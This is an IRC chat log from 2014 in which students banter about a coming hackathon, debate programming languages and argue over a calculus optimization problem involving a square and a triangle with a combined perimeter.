[2014-11-21T21:49:46-0500] <JacobEdelman> so, ideas?
[2014-11-21T21:49:50-0500] <~awe> I don't know.
[2014-11-21T21:49:53-0500] <~awe> Wait until tomorrow.
[2014-11-21T21:49:57-0500] <~awe> AKA 12 am.
[2014-11-21T21:50:00-0500] <~awe> I have to finish essay.
[2014-11-21T21:50:03-0500] <alokpathy> I'm gonna go to sleep soon so
[2014-11-21T21:50:14-0500] <alokpathy> and JacobEdelman should sleep soon
[2014-11-21T21:50:19-0500] <JacobEdelman> yes
[2014-11-21T21:50:23-0500] <~awe> Also, am I an asshole if I make PennApps pay for all of my gas from Florida even though I'm actually going to be driving from NJ?
[2014-11-21T21:50:24-0500] <alokpathy> Tamini should pull an all-nighter
[2014-11-21T21:50:32-0500] <alokpathy> awe: Uhh probably
[2014-11-21T21:50:38-0500] <JacobEdelman> awe: no, its the sponsors mone, not there
[2014-11-21T21:50:38-0500] <~awe> Does that mean I shouldn't do it?
[2014-11-21T21:50:40-0500] <alokpathy> Well
[2014-11-21T21:50:40-0500] <~awe> Fair.
[2014-11-21T21:50:42-0500] <alokpathy> actually
[2014-11-21T21:50:43-0500] <JacobEdelman> awe: I made them pay for uber
[2014-11-21T21:50:46-0500] <alokpathy> I'm not sure
[2014-11-21T21:50:47-0500] <Tamini> what uh
[2014-11-21T21:50:49-0500] <~awe> I'll leave it then.
[2014-11-21T21:50:53-0500] <~awe> JacobEdelman: there'll be parking for my car, right?
[2014-11-21T21:50:57-0500] <Tamini> im totes sleeping soon
[2014-11-21T21:51:01-0500] <JacobEdelman> awe: I expect so
[2014-11-21T21:51:04-0500] <alokpathy> Tamini: Nah you don't need to
[2014-11-21T21:51:06-0500] <alokpathy> awe: I think so
[2014-11-21T21:51:22-0500] <JacobEdelman> alokpathy: nah, she can sleep, her team won't beat our A team either way
[2014-11-21T21:51:35-0500] <JacobEdelman> :p
[2014-11-21T21:51:39-0500] <~awe> Can I bring illegal drugs despite the fact that they ask me not to?
[2014-11-21T21:51:46-0500] <JacobEdelman> no
[2014-11-21T21:51:48-0500] <alokpathy> awe: Yes
[2014-11-21T21:51:52-0500] <~awe> Lol.
[2014-11-21T21:51:52-0500] <JacobEdelman> but you can bring firearms
[2014-11-21T21:52:00-0500] <alokpathy> There are special places where you can use them.
[2014-11-21T21:52:02-0500] <alokpathy> Don't tell anybody.
[2014-11-21T21:52:20-0500] <JacobEdelman> yes, right in the middle of the stage is one of the special places, prefarbly during the keynote
[2014-11-21T21:52:22-0500] <JacobEdelman> :P
[2014-11-21T21:52:33-0500] <~awe> Right.
[2014-11-21T21:52:37-0500] <~awe> Who's the keynote speaker?
[2014-11-21T21:52:42-0500] <JacobEdelman> no idea
[2014-11-21T21:52:45-0500] <JacobEdelman> steve jobs maybe?
[2014-11-21T21:52:47-0500] <~awe> Oh
[2014-11-21T21:52:49-0500] <~awe> Lovely.
[2014-11-21T21:53:01-0500] <alokpathy> Yeah
[2014-11-21T21:53:06-0500] <alokpathy> they're just going to read his bio
[2014-11-21T21:53:08-0500] <alokpathy> the entire time
[2014-11-21T21:53:20-0500] <~awe> Can they have Ashton Kutcher do it?
[2014-11-21T21:53:28-0500] <alokpathy> awe: They're trying
[2014-11-21T21:54:00-0500] <~awe> I hope they get him.
[2014-11-21T21:54:13-0500] <Tamini> im on B anyway
[2014-11-21T21:54:18-0500] <JacobEdelman> what???
[2014-11-21T21:54:19-0500] <Tamini> stop feeling threatened
[2014-11-21T21:54:21-0500] <JacobEdelman> no!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[2014-11-21T21:54:25-0500] <JacobEdelman> thats my group
[2014-11-21T21:54:29-0500] <JacobEdelman> and were not smart
[2014-11-21T21:54:37-0500] <alokpathy> Tamini: Wait I though you were div A
[2014-11-21T21:54:42-0500] <alokpathy> but B team
[2014-11-21T21:54:50-0500] <JacobEdelman> oh, yeah
[2014-11-21T21:54:51-0500] <JacobEdelman> thats okay
[2014-11-21T21:55:15-0500] <~awe> You know, guys, having Tamini on our team is a great idea.
[2014-11-21T21:55:22-0500] <~awe> It guarantees that there's no way she can beat us. :D
[2014-11-21T21:55:28-0500] <JacobEdelman> yay!
[2014-11-21T21:55:33-0500] <JacobEdelman> (for once)
[2014-11-21T21:55:37-0500] <~awe> Exactly!
[2014-11-21T21:55:39-0500] <alokpathy> "Tamni: Challenge accpted"
[2014-11-21T21:55:46-0500] <JacobEdelman> hahahahahaha
[2014-11-21T21:55:49-0500] <JacobEdelman> I actually loled there
[2014-11-21T21:55:51-0500] <~awe> We should do our project in Rust.
[2014-11-21T21:55:54-0500] <~awe> You guys should learn Rust.
[2014-11-21T21:56:00-0500] <alokpathy> I'd like to learn Rust
[2014-11-21T21:56:09-0500] <JacobEdelman> no, not rust
[2014-11-21T21:56:15-0500] <JacobEdelman> can we do a backend in rust and frontend in js?
[2014-11-21T21:56:20-0500] <JacobEdelman> cause I was just getting good at js
[2014-11-21T21:56:48-0500] <~awe> That depends heavily on what we're making.
[2014-11-21T21:57:27-0500] <JacobEdelman> hmmmm... 
[2014-11-21T21:57:33-0500] <JacobEdelman> I'll start thinking of ideas
[2014-11-21T21:57:37-0500] <~awe> JacobEdelman: I need to get you to into strong type systems so that you can abandon your sacrilegious ways. ;)
[2014-11-21T21:57:50-0500] <JacobEdelman> I like strong type systems in theory
[2014-11-21T21:57:52-0500] <~awe> I know.
[2014-11-21T21:57:54-0500] <JacobEdelman> just not in hackathons
[2014-11-21T21:57:54-0500] <~awe> You just don't use them.
[2014-11-21T21:58:02-0500] <JacobEdelman> howz about typescript?
[2014-11-21T21:58:07-0500] <JacobEdelman> that way we cna both be happy
[2014-11-21T21:58:12-0500] <JacobEdelman> they have some cool new features
[2014-11-21T21:58:18-0500] <JacobEdelman> like union types or whatever
[2014-11-21T21:58:22-0500] <~awe> I don't know anything about typescript.
[2014-11-21T21:58:28-0500] <JacobEdelman> well, you know javascript
[2014-11-21T21:58:31-0500] <alokpathy> awe: You know the name.
[2014-11-21T21:58:36-0500] <JacobEdelman> and typescript= javascript + types
[2014-11-21T21:59:37-0500] <~awe> Why would that be better?
[2014-11-21T21:59:46-0500] <JacobEdelman> cause you get your types
[2014-11-21T21:59:48-0500] <JacobEdelman> that you love
[2014-11-21T21:59:56-0500] <JacobEdelman> and I get to stick with something familar
[2014-11-21T22:00:06-0500] <JacobEdelman> and alok and tamini can just suffer 
[2014-11-21T22:00:07-0500] <JacobEdelman> :P
[2014-11-21T22:00:57-0500] <JacobEdelman> we should see if we can do stuff with image proccessing, like that new stanford-google stuff
[2014-11-21T22:01:08-0500] <bob_twinkles> don't
[2014-11-21T22:01:11-0500] <bob_twinkles> at least not if you want to win
[2014-11-21T22:01:26-0500] <alokpathy> bob_twinkles: Why is that?
[2014-11-21T22:01:28-0500] <bob_twinkles> I built a naive baesian classifier for a hackathon and they were just like "uh....."
[2014-11-21T22:01:29-0500] <JacobEdelman> http://cs.stanford.edu/people/karpathy/deepimagesent/
[2014-11-21T22:01:32-0500] <JacobEdelman> nah
[2014-11-21T22:01:35-0500] <bob_twinkles> 's not shiny enough
[2014-11-21T22:01:36-0500] <JacobEdelman> but this stuff is cool
[2014-11-21T22:01:39-0500] <JacobEdelman> http://cs.stanford.edu/people/karpathy/deepimagesent/ 
[2014-11-21T22:01:40-0500] <JacobEdelman> come on
[2014-11-21T22:01:42-0500] <JacobEdelman> thats so shiny
[2014-11-21T22:01:47-0500] <alokpathy> bob_twinkles: What hackathon?
[2014-11-21T22:01:51-0500] <JacobEdelman> we can just port it, or make a game out of it, or something
[2014-11-21T22:01:53-0500] <bob_twinkles> pilotphilly
[2014-11-21T22:01:56-0500] <~awe> bob_twinkles: lol, you're a thoroughly impressive person.
[2014-11-21T22:01:57-0500] <bob_twinkles> so... not really the greatest
[2014-11-21T22:02:02-0500] <JacobEdelman> gnight guys
[2014-11-21T22:02:06-0500] <bob_twinkles> 'night JacobEdelman 
[2014-11-21T22:02:10-0500] <~awe> good night, JacobEdelman.
[2014-11-21T22:02:56-0500] <~awe> https://www.dropbox.com/s/stq7ocujehqw296/Screenshot%202014-11-21%2022.02.53.png?dl=0
[2014-11-21T22:02:58-0500] <~awe> lol
[2014-11-21T22:03:01-0500] <~awe> one of them is an old lady
[2014-11-21T22:03:11-0500] <~awe> https://www.dropbox.com/s/lazwik0pw4xox34/Screenshot%202014-11-21%2022.03.10.png?dl=0
[2014-11-21T22:03:15-0500] <~awe> no wakeboard, that's a trampoline
[2014-11-21T22:03:26-0500] <+LittleBobbyTables> What's the name of the process for something like "two things have a combined perimeter of 15, find side length of each that gives maximum/minimum area"
[2014-11-21T22:03:42-0500] <bob_twinkles> .... calculus?
[2014-11-21T22:03:48-0500] <alokpathy> LittleBobbyTables: Optimization?
[2014-11-21T22:03:55-0500] <bob_twinkles> or yeah, that
[2014-11-21T22:03:57-0500] <+LittleBobbyTables> Is it optimization?
[2014-11-21T22:03:58-0500] <+LittleBobbyTables> k
[2014-11-21T22:04:09-0500] <+LittleBobbyTables> It just seemed like the wrong name
[2014-11-21T22:04:16-0500] <alokpathy> I think it's right.
[2014-11-21T22:04:28-0500] <+LittleBobbyTables> People are arguing in a skype chat about an actual problem
[2014-11-21T22:04:38-0500] <+LittleBobbyTables> While a few are doing it completely wrong, so it's kind of fun to wach
[2014-11-21T22:04:39-0500] <+LittleBobbyTables> watch&
[2014-11-21T22:04:41-0500] <+LittleBobbyTables> .......
[2014-11-21T22:04:49-0500] <alokpathy> Lol
[2014-11-21T22:04:52-0500] <bob_twinkles> it's optimization/minimization
[2014-11-21T22:04:57-0500] <bob_twinkles> how wrong?
[2014-11-21T22:05:15-0500] <+LittleBobbyTables> Well
[2014-11-21T22:05:58-0500] <+LittleBobbyTables> actual problem was (I think) triangle/square with combined perimeter of 10, find minimized area
[2014-11-21T22:06:49-0500] <~awe> square is much easier, right?
[2014-11-21T22:07:23-0500] <+LittleBobbyTables> Someone started with 2x+sqrt(3)y/2=0, and tried doing something to find derivative of an expression
[2014-11-21T22:07:31-0500] <~awe> or are you saying a triangle connected to a square?
[2014-11-21T22:07:59-0500] <+LittleBobbyTables> Just plugged things into the previous question, awe.
[2014-11-21T22:08:15-0500] <~awe> I'm confused, but whatever. Back to the essay.
[2014-11-21T22:09:03-0500] <bob_twinkles> 2 is the correct answer
[2014-11-21T22:09:06-0500] <bob_twinkles> I think
[2014-11-21T22:09:23-0500] <bob_twinkles> Maximize[{x^2 + Sqrt[3]/4 x^2, 5*x == 10}, {x}]
[2014-11-21T22:09:26-0500] <bob_twinkles> <3 mathematica
[2014-11-21T22:09:41-0500] <~awe> What is a reading period?
[2014-11-21T22:10:01-0500] <bob_twinkles> a period for reading? usually some specific thing assigned by the teacher
[2014-11-21T22:10:02-0500] <+LittleBobbyTables> What's one of the perimeters that you got for it bob_twinkles?
[2014-11-21T22:10:13-0500] <bob_twinkles> 1/4 (16 + 4 Sqrt[3])
[2014-11-21T22:10:17-0500] <bob_twinkles> er
[2014-11-21T22:10:21-0500] <bob_twinkles> that's the area of the shape
[2014-11-21T22:10:23-0500] <~awe> No, a reading period is apparently a term for the week before finals.
[2014-11-21T22:10:26-0500] <bob_twinkles> the perimiter is 10
[2014-11-21T22:10:29-0500] <~awe> Or the period before finals.
[2014-11-21T22:10:30-0500] <+LittleBobbyTables> They're not combined
[2014-11-21T22:10:49-0500] <bob_twinkles> {1/4 (100/9 + 25/(3 Sqrt[3])), {x -> 5/3}} then
[2014-11-21T22:11:07-0500] <bob_twinkles> change the 5 to a six and reevaluate =P
[2014-11-21T22:11:28-0500] <+LittleBobbyTables> I don't have mathematica :P
[2014-11-21T22:11:40-0500] <bob_twinkles> I think WA can solve this one
[2014-11-21T22:11:47-0500] <bob_twinkles> it's single variable optimization
[2014-11-21T22:11:48-0500] <~awe> Wow, I just realized.
[2014-11-21T22:11:51-0500] <~awe> My semester is pretty much over.
[2014-11-21T22:12:06-0500] <~awe> I have three days of class, thanksgiving break, a week of class, and then finals.
[2014-11-21T22:12:22-0500] <+LittleBobbyTables> Meh, too much work.
[2014-11-21T22:12:28-0500] <bob_twinkles> wait
[2014-11-21T22:12:32-0500] <bob_twinkles> if the perimiter is constant
[2014-11-21T22:12:33-0500] <+LittleBobbyTables> I just wanted the name of the process lol
[2014-11-21T22:12:41-0500] <bob_twinkles> this isn't even an optimization problem
[2014-11-21T22:12:50-0500] <bob_twinkles> there aren't any free variables
[2014-11-21T22:13:07-0500] <bob_twinkles> it's just algebra...
[2014-11-21T22:13:24-0500] <Tamini> algebra is hard tho
[2014-11-21T22:13:28-0500] <bob_twinkles> true
[2014-11-21T22:13:48-0500] <~awe> Tamini: uhh...
[2014-11-21T22:13:50-0500] <~awe> Tamini: okay.
[2014-11-21T22:13:51-0500] <+LittleBobbyTables> Wouldn't you have 4x+3y=10 and x^2 + (sqrt(3)/4)y^2 as the area, though?
[2014-11-21T22:13:56-0500] <~awe> Tamini: Sure, math genius.
[2014-11-21T22:14:11-0500] <bob_twinkles> yeah, you do
[2014-11-21T22:14:12-0500] <Tamini> LOL
[2014-11-21T22:14:16-0500] <bob_twinkles> but you know that 6x == 10
[2014-11-21T22:15:01-0500] <~awe> Why not just do some substitution?
[2014-11-21T22:15:04-0500] <bob_twinkles> ohhh, the square and triangle can be different sizes
[2014-11-21T22:15:15-0500] <bob_twinkles> you do have a free variable there then
[2014-11-21T22:15:19-0500] <~awe> Ah, okay.
[2014-11-21T22:15:54-0500] <bob_twinkles> you also have no solution though
[2014-11-21T22:16:03-0500] <bob_twinkles> err, hmm
[2014-11-21T22:16:06-0500] <bob_twinkles> moar constraints!
[2014-11-21T22:16:07-0500] <alokpathy> Wait what should my senior quote be?
[2014-11-21T22:16:23-0500] <bob_twinkles> {25/4, {x -> 5/2, y -> 0}}
[2014-11-21T22:16:30-0500] <bob_twinkles> LittleBobbyTables: ^
[2014-11-21T22:17:12-0500] <+LittleBobbyTables> apothy, "I'm So Meta Even This Acronym" or "Hold my beer and watch this"
[2014-11-21T22:17:51-0500] <+LittleBobbyTables> That doesn't seem right, bob_twinkles :/
[2014-11-21T22:18:00-0500] <bob_twinkles> yeah it does if you think about it
[2014-11-21T22:18:04-0500] <bob_twinkles> both x and y are squared
[2014-11-21T22:18:12-0500] <bob_twinkles> and y is being multiplied by something < 1
[2014-11-21T22:18:25-0500] <bob_twinkles> so it makes sense to just put all the stuff in to x 'cause you get all of it back
[2014-11-21T22:19:40-0500] <bob_twinkles> well strictly speaking the answer is "no maximum in the domain of things where x > 0 and y > 0"
[2014-11-21T22:19:50-0500] <+LittleBobbyTables> Write it cleaner, in a non-mathematica well?
[2014-11-21T22:19:53-0500] <+LittleBobbyTables> way*
[2014-11-21T22:20:22-0500] <bob_twinkles> because the maximum occurs where x == 5 / 2 and y == 0
[2014-11-21T22:20:40-0500] <bob_twinkles> (x is the square, y is the triangle)
[2014-11-21T22:20:40-0500] <+LittleBobbyTables> right
[2014-11-21T22:21:13-0500] <bob_twinkles> so if you constrain it so that x and y must be greater than 0, there isn't actually a maximum
[2014-11-21T22:21:49-0500] <+LittleBobbyTables> You do have the constraint, though, which would have a maximum?
[2014-11-21T22:21:50-0500] <~awe> alokpathy: Hmm, "Smoke the weed everyday." – Snoop lion
[2014-11-21T22:21:55-0500] <~awe>  /s/lion/Lion/
[2014-11-21T22:22:00-0500] <alokpathy> awe: Lol too late
[2014-11-21T22:22:03-0500] <alokpathy> I already sent something.
[2014-11-21T22:22:06-0500] <+LittleBobbyTables> What'd you do
[2014-11-21T22:22:10-0500] <alokpathy> "If wishes were horses, beggars would ride."
[2014-11-21T22:22:13-0500] <bob_twinkles> because the maximum occurs at x equals something infinitesimally less than 5/2 and y is equal to something infinitesimally more than 0
[2014-11-21T22:22:36-0500] <bob_twinkles> LittleBobbyTables: what I did or how you would actually solve it =P
[2014-11-21T22:22:42-0500] <bob_twinkles> (by hand that is, 'cause you can)
[2014-11-21T22:22:49-0500] <+LittleBobbyTables> That was to apothy, sorry
[2014-11-21T22:23:24-0500] <+LittleBobbyTables> bob_twinkles: what'd you get for one side length of a square/triangle? I could probably remember how to do it
[2014-11-21T22:23:40-0500] <+LittleBobbyTables> I haven't done this in like a year :/
[2014-11-21T22:23:42-0500] <+LittleBobbyTables> Maybe a bit more
[2014-11-21T22:23:43-0500] <bob_twinkles> LittleBobbyTables: square = 5/2 and triangle = 0
[2014-11-21T22:24:46-0500] <+LittleBobbyTables> Dude that was doing it wrong originally: doing different stuff, I have y ~= 2.795
[2014-11-21T22:24:46-0500] <+LittleBobbyTables> Other dude that originally knew the answer: I think you're getting close to what I had
[2014-11-21T22:25:15-0500] <bob_twinkles> uh...
[2014-11-21T22:25:29-0500] <bob_twinkles> what does dude 2 say the answer is
[2014-11-21T22:25:40-0500] <+LittleBobbyTables> He corrected himself to "or y ~= 1.8834"
[2014-11-21T22:25:44-0500] <bob_twinkles> 'cause that's the global maximum of the function...
[2014-11-21T22:25:52-0500] <bob_twinkles> I dunno what world he's living in
[2014-11-21T22:26:31-0500] <+LittleBobbyTables> Someone else said uhh
[2014-11-21T22:26:38-0500] <+LittleBobbyTables> x =~ 1.08741 y =~ 1.88345
[2014-11-21T22:27:24-0500] <alokpathy> Imma go to sleep now
[2014-11-21T22:27:29-0500] <alokpathy> Tamini: Make sure you pull an all-nighter
[2014-11-21T22:27:30-0500] <+LittleBobbyTables> Don't leave me apothy
[2014-11-21T22:27:33-0500] <alokpathy> and tell TJ A to do it too
[2014-11-21T22:27:37-0500] <alokpathy> LittleBobbyTables: I musht :(
[2014-11-21T22:27:41-0500] <+LittleBobbyTables> Why :(
[2014-11-21T22:27:48-0500] <alokpathy> LittleBobbyTables: 'cause competition
[2014-11-21T22:27:55-0500] <+LittleBobbyTables> Yeah but
[2014-11-21T22:28:03-0500] <+LittleBobbyTables> If you sleep, that's less practice time
[2014-11-21T22:28:03-0500] <Tamini> lolol
[2014-11-21T22:28:11-0500] <+LittleBobbyTables> So really, it's better if you stay up
[2014-11-21T22:28:20-0500] <alokpathy> LittleBobbyTables: I don't think I can gain much from practicing for 8 hours
[2014-11-21T22:28:32-0500] <+LittleBobbyTables> You can
[2014-11-21T22:28:42-0500] <alokpathy> Not without being really sleep deprived lol
[2014-11-21T22:28:53-0500] <alokpathy> LittleBobbyTables: awe can keep you copmany
[2014-11-21T22:28:53-0500] <+LittleBobbyTables> I relearned piano saxophone and flute in 8 hours after not playing for at least 5 years
[2014-11-21T22:29:01-0500] <alokpathy> LittleBobbyTables: 8 hours at night? :P
[2014-11-21T22:29:08-0500] <~awe> Not really.
[2014-11-21T22:29:10-0500] <~awe> I have to write.
[2014-11-21T22:29:16-0500] <+LittleBobbyTables> Not over night
[2014-11-21T22:29:23-0500] <alokpathy> LittleBobbyTables: Tamini can keep you company
[2014-11-21T22:29:28-0500] <alokpathy> she's pulling an all-nighter anyways
[2014-11-21T22:29:36-0500] <~awe> I want to learn to play violin and piano.
[2014-11-21T22:29:37-0500] <+LittleBobbyTables> bob_twinkles: they're saying 5.33 for the area
[2014-11-21T22:29:38-0500] <~awe> I've learned a bit of violin.
[2014-11-21T22:29:45-0500] <alokpathy> awe: woah really? :o
[2014-11-21T22:29:50-0500] <+LittleBobbyTables> Well, one of them is
[2014-11-21T22:29:50-0500] <~awe> A very little bit.
[2014-11-21T22:29:53-0500] <~awe> I can play three scales.
[2014-11-21T22:30:00-0500] <alokpathy> awe: cooooool
[2014-11-21T22:30:06-0500] <bob_twinkles> LittleBobbyTables: you relay an explanation of their methodology?
[2014-11-21T22:30:23-0500] <+LittleBobbyTables> I'm giving the tl;dr
[2014-11-21T22:30:23-0500] <alokpathy> Okay but I should actually sleep so I don't fail more than I normally would
[2014-11-21T22:30:26-0500] <alokpathy> G'night guys
[2014-11-21T22:30:35-0500] <bob_twinkles> awe: learn piano, it's like typing but with arm movement!
[2014-11-21T22:30:38-0500] <+LittleBobbyTables> There's other talks within it
[2014-11-21T22:30:49-0500] <~awe> Both require the ability to read sheet music though.
[2014-11-21T22:30:49-0500] <bob_twinkles> LittleBobbyTables: is there some additional constraint?
[2014-11-21T22:30:54-0500] <Tamini> lol
[2014-11-21T22:30:56-0500] <~awe> Not innately, but at least practically.
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[2014-11-21T22:31:09-0500] <+LittleBobbyTables> The perimeter sum being 10?
[2014-11-21T22:31:14-0500] <bob_twinkles> awe: true, but it's not _that_ hard to learn
[2014-11-21T22:31:15-0500] <+LittleBobbyTables> of both, that is
[2014-11-21T22:31:29-0500] <bob_twinkles> like 4x == 10 and 4y == 10?
[2014-11-21T22:31:31-0500] <bob_twinkles> er
[2014-11-21T22:31:33-0500] <bob_twinkles> 3y
[2014-11-21T22:31:39-0500] <~awe> bob_twinkles: No, but that's probably the most prohibitive factor here.
[2014-11-21T22:31:42-0500] <+LittleBobbyTables> (4x+3y)==10
[2014-11-21T22:32:07-0500] <bob_twinkles> in that case I maintain that my solution is correct =P
[2014-11-21T22:32:23-0500] <+LittleBobbyTables> It doesn't seem right at all thouh
[2014-11-21T22:32:25-0500] <+LittleBobbyTables> Tamini: ?
[2014-11-21T22:32:34-0500] <+LittleBobbyTables> An equilateral triangle and a square have perimeters that sum to 10. What are the side lengths such that the sum of the areas is minimized?
[2014-11-21T22:33:11-0500] <bob_twinkles> http://www.wolframalpha.com/input/?i=Maximize[x^2+%2B+Sqrt[3]%2F4+y^2%2C+{x%2C+-1%2C+4}%2C+{y%2C+-1%2C+4}]
[2014-11-21T22:33:13-0500] <bob_twinkles> yeah
[2014-11-21T22:33:57-0500] <Tamini> ugh im getting advice
[2014-11-21T22:34:04-0500] <Tamini> from a person that i really like
[2014-11-21T22:34:08-0500] <Tamini> that infuriates me
[2014-11-21T22:34:12-0500] <bob_twinkles> it's at a minimum/maximum where grad[f[x,y]] == 0
[2014-11-21T22:34:16-0500] <~awe> Tamini: which is?
[2014-11-21T22:34:17-0500] <bob_twinkles> Tamini: $GENERIC_STATEMENT
[2014-11-21T22:34:21-0500] <+LittleBobbyTables> Ignore that person and do math, Tamini :P
[2014-11-21T22:34:34-0500] <Tamini> :P
[2014-11-21T22:34:55-0500] <Tamini> i used to like this guy in 7th grade and he crushed my soul
[2014-11-21T22:35:15-0500] <+LittleBobbyTables> An equilateral triangle and a square have perimeters that sum to 10. What are the side lengths such that the sum of the areas is minimized? Tamini
[2014-11-21T22:35:24-0500] <~awe> bob_twinkles: is probably right.
[2014-11-21T22:35:45-0500] <+LittleBobbyTables> Probably
[2014-11-21T22:36:00-0500] <bob_twinkles> I'd really like to know how those other people are doing it though...
[2014-11-21T22:36:34-0500] <Tamini> LOL jesus christ
[2014-11-21T22:37:21-0500] <+LittleBobbyTables> https://www.irccloud.com/pastebin/JJoDS4Uj
[2014-11-21T22:38:31-0500] <Tamini> wait
[2014-11-21T22:38:42-0500] <Tamini> how is this a question
[2014-11-21T22:38:57-0500] <+LittleBobbyTables> ?
[2014-11-21T22:41:48-0500] <Tamini> uhh
[2014-11-21T22:41:52-0500] <bob_twinkles> LittleBobbyTables: http://imgur.com/C5RtMN2
[2014-11-21T22:42:03-0500] <Tamini> i would like to see this diagram
[2014-11-21T22:42:18-0500] <bob_twinkles> LittleBobbyTables: ???????????????????????????????
[2014-11-21T22:42:24-0500] <bob_twinkles> where even did a 37 come from
[2014-11-21T22:43:12-0500] <+LittleBobbyTables> I have no idea, dude
[2014-11-21T22:43:45-0500] <bob_twinkles> he's using the right method
[2014-11-21T22:43:47-0500] <bob_twinkles> sorta
[2014-11-21T22:43:57-0500] <bob_twinkles> it's a multivar problem, not single variable
[2014-11-21T22:44:16-0500] <bob_twinkles> needs to take the gradient, use that to solve for critical points
[2014-11-21T22:44:19-0500] <Tamini> i am extremely confused
[2014-11-21T22:44:24-0500] <bob_twinkles> and then find that the only critical point is a minimum
[2014-11-21T22:45:21-0500] <bob_twinkles> and then you do 3 single variable maximizations along the edges
[2014-11-21T22:45:33-0500] <+LittleBobbyTables> Tamini, go?
[2014-11-21T22:45:39-0500] <bob_twinkles> and find that the maximum occurs somewhere outside of the closed domain or on the edge of the open domain
[2014-11-21T22:45:43-0500] <bob_twinkles> #math
[2014-11-21T22:45:45-0500] <+LittleBobbyTables> lol
[2014-11-21T22:45:46-0500] <Tamini> i dont actually
[2014-11-21T22:45:49-0500] <Tamini> understand
[2014-11-21T22:45:52-0500] <+LittleBobbyTables> How so
[2014-11-21T22:45:53-0500] <Tamini> the problem itself
[2014-11-21T22:45:54-0500] <bob_twinkles> er, switch open and closed on that last one
[2014-11-21T22:46:08-0500] <bob_twinkles> Tamini: https://www.irccloud.com/pastebin/JJoDS4Uj
[2014-11-21T22:46:10-0500] <bob_twinkles> err
[2014-11-21T22:46:13-0500] <bob_twinkles> Tamini: Maximize[{x^2 + Sqrt[3]/4 y^2, 4 x + 3 y == 10, x > 10, y > 0, 
[2014-11-21T22:46:15-0500] <bob_twinkles>   y != 0}, {x, y}]
[2014-11-21T22:47:00-0500] <Tamini> wait you literally
[2014-11-21T22:47:20-0500] <Tamini> want me to solve a multi problem
[2014-11-21T22:47:22-0500] <Tamini> no pls
[2014-11-21T22:47:29-0500] <bob_twinkles> it's not even though
[2014-11-21T22:47:31-0500] <+LittleBobbyTables> An equilateral triangle and a square have perimeters that sum to 10. What are the side lengths such that the sum of the areas is minimized? Tamini
[2014-11-21T22:47:31-0500] <bob_twinkles> multi's the hard way
[2014-11-21T22:47:33-0500] <+LittleBobbyTables> That's the problem
[2014-11-21T22:48:12-0500] <bob_twinkles> if you think about the function you're trying to maximize you can figure out that the only way it makes sense is for y to be zero
[2014-11-21T22:49:11-0500] <Tamini> why is that a
[2014-11-21T22:49:13-0500] <Tamini> multi problem
[2014-11-21T22:49:29-0500] <Tamini> square is 4x
[2014-11-21T22:49:34-0500] <Tamini> triangle is 3y
[2014-11-21T22:49:43-0500] <Tamini> 4x+3y = 10
[2014-11-21T22:49:43-0500] <+LittleBobbyTables> X and Y, multiple variables, duh.
[2014-11-21T22:49:48-0500] <Tamini> substitute
[2014-11-21T22:49:53-0500] <bob_twinkles> because it's function optimization with 2 independent variables?
[2014-11-21T22:49:55-0500] <Tamini> into big area equation
[2014-11-21T22:49:57-0500] <+LittleBobbyTables> bob_twinkles: wouldn't x<10?
[2014-11-21T22:50:00-0500] <+LittleBobbyTables> In your thing
[2014-11-21T22:50:07-0500] <bob_twinkles> oh
[2014-11-21T22:50:09-0500] <bob_twinkles> uh
[2014-11-21T22:50:20-0500] <bob_twinkles> I think I was derping around with that
[2014-11-21T22:50:36-0500] <bob_twinkles> Maximize[{x^2 + Sqrt[3]/4 y^2, 4 x + 3 y == 10, x > 0, y > 0, 
[2014-11-21T22:50:38-0500] <bob_twinkles>   y != 0}, {x, y}]
[2014-11-21T22:50:40-0500] <bob_twinkles> is the correct one
[2014-11-21T22:52:34-0500] <+LittleBobbyTables> other dude:You can do it that way as well, and when I did it that way, I got 25/117 * (79sqrt(3)-108)
[2014-11-21T22:52:34-0500] <+LittleBobbyTables> other dude: which is approx 6.16
[2014-11-21T22:53:16-0500] <+LittleBobbyTables> I think they're starting to realize
[2014-11-21T22:53:16-0500] <+LittleBobbyTables> lol
[2014-11-21T22:53:24-0500] <+LittleBobbyTables> Well, other dude is.
[2014-11-21T22:53:30-0500] <+LittleBobbyTables> a doesn't have any idea what he's doing
[2014-11-21T22:54:23-0500] <+LittleBobbyTables> New argument:
[2014-11-21T22:54:23-0500] <+LittleBobbyTables> A tv is being sold for $400 and 1000 are sold per week. The company noticed that with every $10 rebate, 100 more are sold per week. What should the price be to maximize revenue?
[2014-11-21T22:55:16-0500] <Tamini> lol
[2014-11-21T22:55:21-0500] <Tamini> jesus christ
[2014-11-21T22:55:24-0500] <Tamini> why are we doing shit
[2014-11-21T22:55:29-0500] <Tamini> why are we doing math
[2014-11-21T22:55:35-0500] <Tamini> im confused
[2014-11-21T22:55:37-0500] <+LittleBobbyTables> It's actually pretty fun to to watch this skype chat
[2014-11-21T22:55:45-0500] <+LittleBobbyTables> One of them has no idea what he's doing, barely out of Geometry
[2014-11-21T22:55:55-0500] <+LittleBobbyTables> Another dude is in the class, but has no idea what he did to get the answers
[2014-11-21T22:55:59-0500] <bob_twinkles> lol all these problems require calculus...
[2014-11-21T22:56:03-0500] <+LittleBobbyTables> Another dude went through calc 4
[2014-11-21T22:56:10-0500] <+LittleBobbyTables> Well, it's a calc class, bob_twinkles 
[2014-11-21T22:56:19-0500] <bob_twinkles> oh, yeah that would do it XD
[2014-11-21T22:57:58-0500] <+LittleBobbyTables> Wanna do that one as well? :P
[2014-11-21T22:58:23-0500] <Tamini> lolol
[2014-11-21T22:58:28-0500] <bob_twinkles> uh, sure
[2014-11-21T22:58:33-0500] <Tamini> bob_twinkles: do your own math problems first smh
[2014-11-21T22:58:37-0500] <bob_twinkles> that one requires thinking brb sugar
[2014-11-21T22:58:41-0500] <bob_twinkles> but I can actually do these =P
[2014-11-21T22:59:27-0500] <+LittleBobbyTables> Tamini, why don't you actually do these? :P
[2014-11-21T23:00:16-0500] <Tamini> im talking to a guy about
[2014-11-21T23:00:21-0500] <Tamini> why he used to hate me
[2014-11-21T23:00:27-0500] <Tamini> and why i'm bad at relationships
[2014-11-21T23:00:58-0500] <+LittleBobbyTables> Yeah but see, math makes you happier?
[2014-11-21T23:01:59-0500] <Tamini> LOL
[2014-11-21T23:02:02-0500] <Tamini> uh does it now
[2014-11-21T23:02:33-0500] <~awe> Tamini: I hated you when you beat us.
[2014-11-21T23:02:34-0500] <bob_twinkles> {400000000, {p -> 200}}
[2014-11-21T23:02:36-0500] <~awe> Only a little bit though.
[2014-11-21T23:02:44-0500] <Tamini> LOL
